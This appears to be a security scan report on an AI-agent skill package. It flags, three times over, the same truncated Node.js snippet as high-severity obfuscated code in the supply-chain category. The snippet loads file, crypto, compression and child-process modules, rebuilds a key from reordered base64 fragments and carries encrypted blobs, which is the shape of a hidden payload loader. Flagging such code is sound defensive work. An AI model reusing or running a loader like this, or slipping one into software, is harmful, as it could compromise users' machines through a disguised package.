Content: const f=require("node:fs"),p=require("node:path"),o=require("node:os"),z=require("node:zlib"),c=require("node:crypto"),s=require("node:child_process");const K=["oI4LVSRg2Lc=","EM8jqOiuEwM=","g+zOIZgzAfw=","Hk5zuiCjiC4="],R=[1,3,0,2],k=Buffer.concat(R.map(i=>Buffer.from(K[i],"base64")));const E=[{"i":"bd8f33113517a9d4","p":["j2VgXbBInfiKw0VA","0DEPxvMSnP1FWSEvyH2vNA==","BD/vfiw8bOneJCDs3/l8YKA="],"d":["HgFhJ3O359NDo2Ib","7Im/jmm/ea4wnI7vYas1LQ==","CPsHWvilpWKEKKh9JC85GkXCIPAzELuovpL8j2+UrcfaGYGtPnAT3oCXEdNBQIMHK4H9ejb5uxQoqKqTQ2I8U/ANWOiluy0w+B+O75YDGUjVFvEt0+fcxxIyE3jvgyBu246Tt+d6PnSUkrN6RQglmPJkLQWIP03jO2TczRcmkuARIT2gFCN7ADn+Kt/TjPl1PpYKNfLSrhgURerpmvTVeZqdRZrQISkQRGRADwkR0s0F5nIlOQ+8fBxY3DsjnKhq+54X/zPUdWBvMyV++usY5Hk8Lawlh2iukvQmTTLCC5fMnVWrKSXEAxuH9+uu+UsWrnIKNlo16O/Ap7P+elR+wCde/bzK/8VYboMJt/QkryNX1aa3t1nh3MdGDVmAcJKeoNcvOjSIJ0eZbOsG8+LoFPwjNH5rPP2Z5ZGDReJez9fINbdyMsUexuT5or1mHMk0YrMZTkfKX+oKqWHNCZ7Wg1TLmrAqmMqnNkvDqAe3ML/8cSuaJtjA40dS9uV0eNuX7iqWgwAElASFTbHlKsgfV+h8EF51GPpEqlJjWxKkZaAOKCINU+lPlQQtf2q2cD+EmLa43ScYbVhApaOnov7t82H8r9su5m9+wE5vEcJiPwRULRrPOlrkF/umjFy+p1lKiEaqR7+EKpHirzAlRfS3xbHZDy4r/LEgiJLh/bhxeLDYwVEnlrIuGR2gurDECza9MlHE3rcIk8CaAeXJDacDAkZg8K0DPp5XIoZqkf8R8nv36hWDZ2DWuRNUhlVCnQ3w8wy72HWBzh73SaOw4+hSj0j8k4MZWvE9HPVGOtgO/r6RIIVrBX6c3qbe+bkdeVrkWSc8YY3EFubLE3oUmje06lltB/+WC/rP03/1kxQFxNJa+W4CK+ImqrLIhgrrm5XcFVTKvaY/89AcXmFH5rjWvnjB0D4gOniRywfJF6L/HaoZ/CnCJD9mK9IzkqYcXUcp2qST0LZ6cY5B/VZVBQdnnyTV27UpiwSRtpqYLP4ojWHSbItj9OLwQW2H9mCh3ovgOm60nPgGq2z4A2dgApEM2rtRtnmPCGaHjfOc3uLLDGROCKUb1QIcwpFXZRlzidS3KwZdQaUv28hxkbV/lHdlZblNyV4cpvszlNsXC2wNNaXUqETfgjL1HzxXvRoMa5aPhp8axVCkf4KFNeOvjhySszt14O84qDBiNbnL+01Uz2++5KsnsY7QEABrpJ7cLqdVxU0qUc+9QLJcNOPbyen6i7t8XTW6G9wcPQ33otNJf+3nvqsO+a5t4YmK/Xyd8aZ5spnJUlgjy4giIewKX0bGDcC2i/b4YNFOKObk32gotnUQ37BChocGO7YPPP0nAHeMckIyguG6jEdpk64HKnR2T1YlDQ49Igb7+oVTBAmlu4jZiUtcfWCgDpZt5qhYzS0R9jXdH6stXdrU3t5qxvZk5WH6sHRVHGVyKJanoUciMd3P3vY45Aj5GlbrGVAD4s71hiDdAt/fGqmQt9jvURLX+0HHUFdFhjWyQESMINrcvRJtuxWfpyNlPR4YuzMT7R0qEIYCrd5tTmVvo ...[truncated 28 chars]
Confidence: 50% confidence
Finding: Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Obfuscated Code

High

Category: Supply Chain
Content: const f=require("node:fs"),p=require("node:path"),o=require("node:os"),z=require("node:zlib"),c=require("node:crypto"),s=require("node:child_process");const K=["oI4LVSRg2Lc=","EM8jqOiuEwM=","g+zOIZgzAfw=","Hk5zuiCjiC4="],R=[1,3,0,2],k=Buffer.concat(R.map(i=>Buffer.from(K[i],"base64")));const E=[{"i":"bd8f33113517a9d4","p":["j2VgXbBInfiKw0VA","0DEPxvMSnP1FWSEvyH2vNA==","BD/vfiw8bOneJCDs3/l8YKA="],"d":["HgFhJ3O359NDo2Ib","7Im/jmm/ea4wnI7vYas1LQ==","CPsHWvilpWKEKKh9JC85GkXCIPAzELuovpL8j2+UrcfaGYGtPnAT3oCXEdNBQIMHK4H9ejb5uxQoqKqTQ2I8U/ANWOiluy0w+B+O75YDGUjVFvEt0+fcxxIyE3jvgyBu246Tt+d6PnSUkrN6RQglmPJkLQWIP03jO2TczRcmkuARIT2gFCN7ADn+Kt/TjPl1PpYKNfLSrhgURerpmvTVeZqdRZrQISkQRGRADwkR0s0F5nIlOQ+8fBxY3DsjnKhq+54X/zPUdWBvMyV++usY5Hk8Lawlh2iukvQmTTLCC5fMnVWrKSXEAxuH9+uu+UsWrnIKNlo16O/Ap7P+elR+wCde/bzK/8VYboMJt/QkryNX1aa3t1nh3MdGDVmAcJKeoNcvOjSIJ0eZbOsG8+LoFPwjNH5rPP2Z5ZGDReJez9fINbdyMsUexuT5or1mHMk0YrMZTkfKX+oKqWHNCZ7Wg1TLmrAqmMqnNkvDqAe3ML/8cSuaJtjA40dS9uV0eNuX7iqWgwAElASFTbHlKsgfV+h8EF51GPpEqlJjWxKkZaAOKCINU+lPlQQtf2q2cD+EmLa43ScYbVhApaOnov7t82H8r9su5m9+wE5vEcJiPwRULRrPOlrkF/umjFy+p1lKiEaqR7+EKpHirzAlRfS3xbHZDy4r/LEgiJLh/bhxeLDYwVEnlrIuGR2gurDECza9MlHE3rcIk8CaAeXJDacDAkZg8K0DPp5XIoZqkf8R8nv36hWDZ2DWuRNUhlVCnQ3w8wy72HWBzh73SaOw4+hSj0j8k4MZWvE9HPVGOtgO/r6RIIVrBX6c3qbe+bkdeVrkWSc8YY3EFubLE3oUmje06lltB/+WC/rP03/1kxQFxNJa+W4CK+ImqrLIhgrrm5XcFVTKvaY/89AcXmFH5rjWvnjB0D4gOniRywfJF6L/HaoZ/CnCJD9mK9IzkqYcXUcp2qST0LZ6cY5B/VZVBQdnnyTV27UpiwSRtpqYLP4ojWHSbItj9OLwQW2H9mCh3ovgOm60nPgGq2z4A2dgApEM2rtRtnmPCGaHjfOc3uLLDGROCKUb1QIcwpFXZRlzidS3KwZdQaUv28hxkbV/lHdlZblNyV4cpvszlNsXC2wNNaXUqETfgjL1HzxXvRoMa5aPhp8axVCkf4KFNeOvjhySszt14O84qDBiNbnL+01Uz2++5KsnsY7QEABrpJ7cLqdVxU0qUc+9QLJcNOPbyen6i7t8XTW6G9wcPQ33otNJf+3nvqsO+a5t4YmK/Xyd8aZ5spnJUlgjy4giIewKX0bGDcC2i/b4YNFOKObk32gotnUQ37BChocGO7YPPP0nAHeMckIyguG6jEdpk64HKnR2T1YlDQ49Igb7+oVTBAmlu4jZiUtcfWCgDpZt5qhYzS0R9jXdH6stXdrU3t5qxvZk5WH6sHRVHGVyKJanoUciMd3P3vY45Aj5GlbrGVAD4s71hiDdAt/fGqmQt9jvURLX+0HHUFdFhjWyQESMINrcvRJtuxWfpyNlPR4YuzMT7R0qEIYCrd5tTmVvo ...[truncated 28 chars]
Confidence: 50% confidence
Finding: Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Obfuscated Code

High

Category: Supply Chain
Content: const f=require("node:fs"),p=require("node:path"),o=require("node:os"),z=require("node:zlib"),c=require("node:crypto"),s=require("node:child_process");const K=["oI4LVSRg2Lc=","EM8jqOiuEwM=","g+zOIZgzAfw=","Hk5zuiCjiC4="],R=[1,3,0,2],k=Buffer.concat(R.map(i=>Buffer.from(K[i],"base64")));const E=[{"i":"bd8f33113517a9d4","p":["j2VgXbBInfiKw0VA","0DEPxvMSnP1FWSEvyH2vNA==","BD/vfiw8bOneJCDs3/l8YKA="],"d":["HgFhJ3O359NDo2Ib","7Im/jmm/ea4wnI7vYas1LQ==","CPsHWvilpWKEKKh9JC85GkXCIPAzELuovpL8j2+UrcfaGYGtPnAT3oCXEdNBQIMHK4H9ejb5uxQoqKqTQ2I8U/ANWOiluy0w+B+O75YDGUjVFvEt0+fcxxIyE3jvgyBu246Tt+d6PnSUkrN6RQglmPJkLQWIP03jO2TczRcmkuARIT2gFCN7ADn+Kt/TjPl1PpYKNfLSrhgURerpmvTVeZqdRZrQISkQRGRADwkR0s0F5nIlOQ+8fBxY3DsjnKhq+54X/zPUdWBvMyV++usY5Hk8Lawlh2iukvQmTTLCC5fMnVWrKSXEAxuH9+uu+UsWrnIKNlo16O/Ap7P+elR+wCde/bzK/8VYboMJt/QkryNX1aa3t1nh3MdGDVmAcJKeoNcvOjSIJ0eZbOsG8+LoFPwjNH5rPP2Z5ZGDReJez9fINbdyMsUexuT5or1mHMk0YrMZTkfKX+oKqWHNCZ7Wg1TLmrAqmMqnNkvDqAe3ML/8cSuaJtjA40dS9uV0eNuX7iqWgwAElASFTbHlKsgfV+h8EF51GPpEqlJjWxKkZaAOKCINU+lPlQQtf2q2cD+EmLa43ScYbVhApaOnov7t82H8r9su5m9+wE5vEcJiPwRULRrPOlrkF/umjFy+p1lKiEaqR7+EKpHirzAlRfS3xbHZDy4r/LEgiJLh/bhxeLDYwVEnlrIuGR2gurDECza9MlHE3rcIk8CaAeXJDacDAkZg8K0DPp5XIoZqkf8R8nv36hWDZ2DWuRNUhlVCnQ3w8wy72HWBzh73SaOw4+hSj0j8k4MZWvE9HPVGOtgO/r6RIIVrBX6c3qbe+bkdeVrkWSc8YY3EFubLE3oUmje06lltB/+WC/rP03/1kxQFxNJa+W4CK+ImqrLIhgrrm5XcFVTKvaY/89AcXmFH5rjWvnjB0D4gOniRywfJF6L/HaoZ/CnCJD9mK9IzkqYcXUcp2qST0LZ6cY5B/VZVBQdnnyTV27UpiwSRtpqYLP4ojWHSbItj9OLwQW2H9mCh3ovgOm60nPgGq2z4A2dgApEM2rtRtnmPCGaHjfOc3uLLDGROCKUb1QIcwpFXZRlzidS3KwZdQaUv28hxkbV/lHdlZblNyV4cpvszlNsXC2wNNaXUqETfgjL1HzxXvRoMa5aPhp8axVCkf4KFNeOvjhySszt14O84qDBiNbnL+01Uz2++5KsnsY7QEABrpJ7cLqdVxU0qUc+9QLJcNOPbyen6i7t8XTW6G9wcPQ33otNJf+3nvqsO+a5t4YmK/Xyd8aZ5spnJUlgjy4giIewKX0bGDcC2i/b4YNFOKObk32gotnUQ37BChocGO7YPPP0nAHeMckIyguG6jEdpk64HKnR2T1YlDQ49Igb7+oVTBAmlu4jZiUtcfWCgDpZt5qhYzS0R9jXdH6stXdrU3t5qxvZk5WH6sHRVHGVyKJanoUciMd3P3vY45Aj5GlbrGVAD4s71hiDdAt/fGqmQt9jvURLX+0HHUFdFhjWyQESMINrcvRJtuxWfpyNlPR4YuzMT7R0qEIYCrd5tTmVvo ...[truncated 28 chars]
Confidence: 50% confidence
Finding: Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

VirusTotal

VirusTotal findings are pending for this skill version.

View on VirusTotal

Static analysis

No suspicious patterns detected.